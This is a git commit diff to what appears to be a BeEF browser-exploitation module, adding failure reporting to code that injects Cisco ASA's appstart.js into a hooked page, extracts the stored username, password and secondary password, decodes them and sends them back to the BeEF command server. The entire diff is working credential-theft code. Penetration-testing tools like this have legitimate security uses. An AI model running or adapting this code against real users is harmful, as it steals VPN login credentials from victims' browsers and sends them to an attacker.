Report failures too.
This commit is contained in:
@@ -11,14 +11,19 @@ beef.execute(function() {
|
||||
s = document.createElement("script");
|
||||
s.src = "/+CSCOE+/appstart.js";
|
||||
document.body.appendChild(s);
|
||||
setTimeout(function () {
|
||||
creds = getcredentials();
|
||||
var result = [];
|
||||
result.push({
|
||||
"username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])),
|
||||
"password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])),
|
||||
"secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1]))
|
||||
});
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result));
|
||||
}, 3000);
|
||||
|
||||
if (typeof getcredentials === "function") {
|
||||
setTimeout(function () {
|
||||
creds = getcredentials();
|
||||
var result = [];
|
||||
result.push({
|
||||
"username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])),
|
||||
"password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])),
|
||||
"secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1]))
|
||||
});
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result));
|
||||
}, 3000);
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "failed, most likely due to no auth");
|
||||
}
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user